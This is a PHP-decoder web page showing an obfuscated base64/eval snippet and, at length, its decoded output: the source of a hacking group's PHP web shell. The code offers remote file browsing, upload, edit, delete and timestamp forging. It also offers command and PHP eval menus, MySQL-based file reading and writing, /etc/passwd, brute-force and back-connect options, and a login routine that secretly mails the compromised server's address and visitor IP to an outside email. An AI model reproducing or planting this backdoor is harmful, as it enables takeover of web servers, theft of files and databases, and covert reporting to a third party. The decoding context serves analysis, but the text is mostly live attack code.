Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $s=base64_decode('JHM9YmFzZTY0X2RlY29kZSgnWW1GelpUWTBYMlJsWTI5a1pRPT0nKTs='); eval..
Decoded Output download
/****************************************\
|* VBA SHELL FORCER - VERSION 2.1 *|
|* Edit & Develop by *|
|* http://anti-network.net *|
|* == Hacking & Security UnderGroup *|
\****************************************/
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);
foreach(array('_GET','_POST') as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{0} != '_') {
if (IS_GPC) {
$_value = s_array($_value);
}
$$_key = $_value;
}
}
}
/*================= Info Login ================*/
$admin = array();
$admin['check'] = true;
$admin['pass'] = 'ali'; // Password login
$admin['cookiepre'] = '';
$admin['cookiedomain'] = '';
$admin['cookiepath'] = '/';
$admin['cookielife'] = 86400;
/*===================== End =====================*/
if ($charset == 'utf8') {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
header("content-Type: text/html; charset=iso-8859-2");
}
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
/*===================== Login =====================*/
if ($action == "logout") {
scookie('vbapass', '', -86400 * 365);
p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
p('<body background=black>');
exit;
}
if($admin['check']) {
if ($doing == 'login') {
if ($admin['pass'] == $password) {
scookie('vbapass', $password);
// Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
$to_email = '[email protected]';
$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
p('<body bgcolor=black>
<BR><BR><div align=center><font color=yellow face=tahoma size=2>Hi Master! Wellcomeback - Please wait...<BR><img src=http://anti-network.net/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
exit;
}
else
{
$err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
echo $err_mess;
}}
if ($_COOKIE['vbapass']) {
if ($_COOKIE['vbapass'] != $admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== Login =====================*/
$errmsg = '';
if ($action == 'phpinfo') {
if (IS_PHPINFO) {
phpinfo();
} else {
$errmsg = 'phpinfo() function has non-permissible';
}
}
if ($doing == 'downfile' && $thefile) {
if (!@file_exists($thefile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$fileinfo = pathinfo($thefile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header('Content-Length: '.filesize($thefile));
@readfile($thefile);
exit;
}
}
if ($doing == 'backupmysql' && !$saveasfile) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$table = array_flip($table);
$result = q("SHOW tables");
if (!$result) p('<h2>'.mysql_error().'</h2>');
$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata .= sqldumptable($currow[0]);
}
}
mysql_close();
exit;
}
// Mysql
if($doing=='mysqldown'){
if (!$dbname) {
$errmsg = 'Please input dbname';
} else {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (!file_exists($mysqldlfile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$result = q("select load_file('$mysqldlfile');");
if(!$result){
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//Download SQL
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
}
$row = @mysql_fetch_array($result);
if (!$row) {
$errmsg = 'Load file failed '.mysql_error();
} else {
$fileinfo = pathinfo($mysqldlfile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header("Accept-Length: ".strlen($row[0]));
echo $row[0];
exit;
}
}
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?php echo str_replace('.','','.::[ Tinex - VFU Shell ]::.');?></title>
<style type="text/css">
body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
a {color: #74A202;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
font-size: 9pt;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
border-left: 1px solid #74A202;
border-top: 1px solid #74A202;
border-right: 1px solid #74A202;
border-bottom: 1px solid #74A202;
}
select
{
font-size: 8pt;
font-weight: normal;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$('goaction').action.value=act;
$('goaction').submit();
}
</script>
</head>
<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
<tr>
<td align="center" valign=center>
<div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
Loading<img src="http://anti-network.net/ali.jpg">
</div>
</td>
</tr>
</table>
</div>
<script>
var ld=(document.all);
var ns4=document.layers;
var ns6=document.getElementById&&!document.all;
var ie4=document.all;
if (ns4)
ld=document.loading;
else if (ns6)
ld=document.getElementById("loading").style;
else if (ie4)
ld=document.all.loading.style;
function init()
{
if(ns4){ld.visibility="hidden";}
else if (ns6||ie4) ld.display="none";
}
</script>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head_small">
<td width=100%>
<table width=100%><tr class="head_small"><td width=86px><a title="VN hacker" href="<?php $self;?>"><img src=http://cC5.upanh.com/27.205.34466174.F8s0/logovfu.png height=86 border=0></a></td><td>
<span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="http://vfu.cc" target="_blank"><?php echo str_replace('.','','.::[ Tinex - Viet Family UnderGroup ]::.');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
<?php
$curl_on = @function_exists('curl_version');
$mysql_on = @function_exists('mysql_connect');
$mssql_on = @function_exists('mssql_connect');
$pg_on = @function_exists('pg_connect');
$ora_on = @function_exists('ocilogon');
echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
echo "PHP version: <b>".@phpversion()."</b> - ";
echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
echo "Disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
?>
</td></tr></table></td>
</tr>
<tr class="alt1">
<td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <br />
--------------------------------------------------------------------------------------<br />
<a href="javascript:goaction('file');">File Manager</a> |
<a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
<a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
<a href="javascript:goaction('shell');">Execute Command</a> |
<a href="javascript:goaction('phpenv');">PHP Variable</a> |
<a href="javascript:goaction('eval');">Eval PHP Code</a>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name'=>'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
// Dir function
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
$dir = $dir.'/';
}
$uedir = ue($dir);
if (!$action || $action == 'file') {
// Non-writeable
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
// Delete dir
if ($doing == 'deldir' && $thefile) {
if (!file_exists($thefile)) {
m($thefile.' directory does not exist');
} else {
m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
}
}
// Create new dir
elseif ($newdirname) {
$mkdirs = $nowpath.$newdirname;
if (file_exists($mkdirs)) {
m('Directory has already existed');
} else {
m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
@chmod($mkdirs,0777);
}
}
// Upload file
elseif ($doupfile) {
m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
}
// Edit file
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,'w');
m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
@fclose($fp);
}
// Modify
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m('The original file does not exist');
} else {
$newperm = base_convert($newperm,8,10);
m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
}
}
// Rename
elseif ($oldname && $newfilename) {
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname.' has already existed or original file does not exist');
} else {
m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
}
}
// Copu
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m('The goal file has already existed or original file does not exist');
} else {
m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
}
}
// File exit
elseif ($curfile && $tarfile) {
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
m('The goal file has already existed or original file does not exist');
} else {
$time = @filemtime($tarfile);
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// Date
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
if (!@file_exists($curfile)) {
m(basename($curfile).' does not exist');
} else {
$time = strtotime("$year-$month-$day $hour:$minute:$second");
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// Download
elseif($doing == 'downrar') {
if ($dl) {
$dfiles='';
foreach ($dl as $filepath => $value) {
$dfiles.=$filepath.',';
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(',',$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
header('Content-type: application/octet-stream');
header('Accept-Ranges: bytes');
header('Accept-Length: '.strlen($code));
header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
echo $code;
exit;
} else {
m('Please select file(s)');
}
}
// Delete file
elseif($doing == 'delfiles') {
if ($dl) {
$dfiles='';
$succ = $fail = 0;
foreach ($dl as $filepath => $value) {
if (@unlink($filepath)) {
$succ++;
} else {
$fail++;
}
}
m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
} else {
m('Please select file(s)');
}
}
// Function Newdir
formhead(array('name'=>'createdir'));
makehide('newdirname');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileperm'));
makehide('newperm');
makehide('pfile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'copyfile'));
makehide('sname');
makehide('tofile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'rename'));
makehide('oldname');
makehide('newfilename');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileopform'));
makehide('action');
makehide('opfile');
makehide('dir');
formfoot();
$free = @disk_free_space($nowpath);
!$free && $free = 0;
$all = @disk_total_space($nowpath);
!$all && $all = 0;
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="GO" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){
var newdirname;
newdirname = prompt('Please input the directory name:', '');
if (!newdirname) return;
$('createdir').newdirname.value=newdirname;
$('createdir').submit();
}
function fileperm(pfile){
var newperm;
newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
if (!newperm) return;
$('fileperm').newperm.value=newperm;
$('fileperm').pfile.value=pfile;
$('fileperm').submit();
}
function copyfile(sname){
var tofile;
tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
if (!tofile) return;
$('copyfile').tofile.value=tofile;
$('copyfile').sname.value=sname;
$('copyfile').submit();
}
function rename(oldname){
var newfilename;
newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
if (!newfilename) return;
$('rename').newfilename.value=newfilename;
$('rename').oldname.value=oldname;
$('rename').submit();
}
function dofile(doing,thefile,m){
if (m && !confirm(m)) {
return;
}
$('filelist').doing.value=doing;
if (thefile){
$('filelist').thefile.value=thefile;
}
$('filelist').submit();
}
function createfile(nowpath){
var filename;
filename = prompt('Please input the file name:', '');
if (!filename) return;
opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
$('fileopform').action.value=action;
$('fileopform').opfile.value=opfile;
$('fileopform').dir.value=dir;
$('fileopform').submit();
}
function godir(dir,view_writable){
if (view_writable) {
$('godir').view_writable.value=1;
}
$('godir').dir.value=dir;
$('godir').submit();
}
</script>
<?php
tbhead();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
if ($view_writable) {
p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
} else {
p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
}
p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
if (IS_WIN && IS_COM) {
$obj = new COM('scripting.filesystemobject');
if ($obj && is_object($obj)) {
$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
foreach($obj->Drives as $drive) {
if ($drive->DriveType == 2) {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
} else {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
}
}
}
}
p('</td></tr></form>');
p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
// Get path
$dirdata=array();
$filedata=array();
if ($view_writable) {
$dirdata = GetList($nowpath);
} else {
// Open dir
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$filepath=$nowpath.$file;
if(@is_dir($filepath)){
$dirdb['filename']=$file;
$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$dirdb['dirchmod']=getChmod($filepath);
$dirdb['dirperm']=getPerms($filepath);
$dirdb['fileowner']=getUser($filepath);
$dirdb['dirlink']=$nowpath;
$dirdb['server_link']=$filepath;
$dirdb['client_link']=ue($filepath);
$dirdata[]=$dirdb;
} else {
$filedb['filename']=$file;
$filedb['size']=sizecount(@filesize($filepath));
$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$filedb['filechmod']=getChmod($filepath);
$filedb['fileperm']=getPerms($filepath);
$filedb['fileowner']=getUser($filepath);
$filedb['dirlink']=$nowpath;
$filedb['server_link']=$filepath;
$filedb['client_link']=ue($filepath);
$filedata[]=$filedb;
}
}// while
unset($dirdb);
unset($filedb);
@closedir($dirs);
}
@sort($dirdata);
@sort($filedata);
$dir_i = '0';
foreach($dirdata as $key => $dirdb){
if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
p('<td nowrap>'.$dirdb['mtime'].'</td>');
p('<td nowrap>--</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
p('</tr>');
$dir_i++;
} else {
if($dirdb['filename']=='..') {
p('<tr class=fout>');
p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
p('</tr>');
}
}
}
p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
makehide('action','file');
makehide('thefile');
makehide('doing');
makehide('dir',$nowpath);
$file_i = '0';
foreach($filedata as $key => $filedb){
if($filedb['filename']!='..' && $filedb['filename']!='.') {
$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
p('<td nowrap>'.$filedb['mtime'].'</td>');
p('<td nowrap>'.$filedb['size'].'</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
p('<td nowrap>');
p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
p('</td></tr>');
$file_i++;
}
}
p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
p('</form></table>');
}// end dir
elseif ($action == 'sqlfile') {
if($doing=="mysqlupload"){
$file = $_FILES['uploadfile'];
$filename = $file['tmp_name'];
if (file_exists($savepath)) {
m('The goal file has already existed');
} else {
if(!$filename) {
m('Please choose a file');
} else {
$fp=@fopen($filename,'r');
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents = bin2hex($contents);
if(!$upname) $upname = $file['name'];
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
}
}
}
?>
<script type="text/javascript">
function mysqlfile(doing){
if(!doing) return;
$('doing').value=doing;
$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
$('mysqlfile').charset.value=$('dbinfo').charset.value;
$('mysqlfile').submit();
}
</script>
<?php
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
makehide('action','sqlfile');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBName:');
makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
p('</p>');
formfoot();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
p('<h2>Upload file</h2>');
p('<p><b>This operation the DB user must has FILE privilege</b></p>');
p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
p('<h2>Download file</h2>');
p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
makehide('dbhost');
makehide('dbport');
makehide('dbuser');
makehide('dbpass');
makehide('dbname');
makehide('charset');
makehide('doing');
makehide('action','sqlfile');
p('</form>');
}
elseif ($action == 'sqladmin') {
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
if(isset($dbhost)){
$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
}
if(isset($dbuser)) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
}
if(isset($dbpass)) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
}
if(isset($dbport)) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
}
if(isset($dbname)) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
}
if(isset($charset)) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
}
if ($doing == 'backupmysql' && $saveasfile) {
if (!$table) {
m('Please choose the table');
} else {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$table = array_flip($table);
$fp = @fopen($path,'w');
if ($fp) {
$result = q('SHOW tables');
if (!$result) p('<h2>'.mysql_error().'</h2>');
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $fp);
}
}
fclose($fp);
$fileurl = str_replace(SA_ROOT,'',$path);
m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
mysql_close();
} else {
m('Backup failed');
}
}
}
if ($insert && $insertsql) {
$keystr = $valstr = $tmp = '';
foreach($insertsql as $key => $val) {
if ($val) {
$keystr .= $tmp.$key;
$valstr .= $tmp."'".addslashes($val)."'";
$tmp = ',';
}
}
if ($keystr && $valstr) {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
}
}
if ($update && $insertsql && $base64) {
$valstr = $tmp = '';
foreach($insertsql as $key => $val) {
$valstr .= $tmp.$key."='".addslashes($val)."'";
$tmp = ',';
}
if ($valstr) {
$where = base64_decode($base64);
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
}
}
if ($doing == 'del' && $base64) {
$where = base64_decode($base64);
$delete_sql = "DELETE FROM $tablename WHERE $where";
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
}
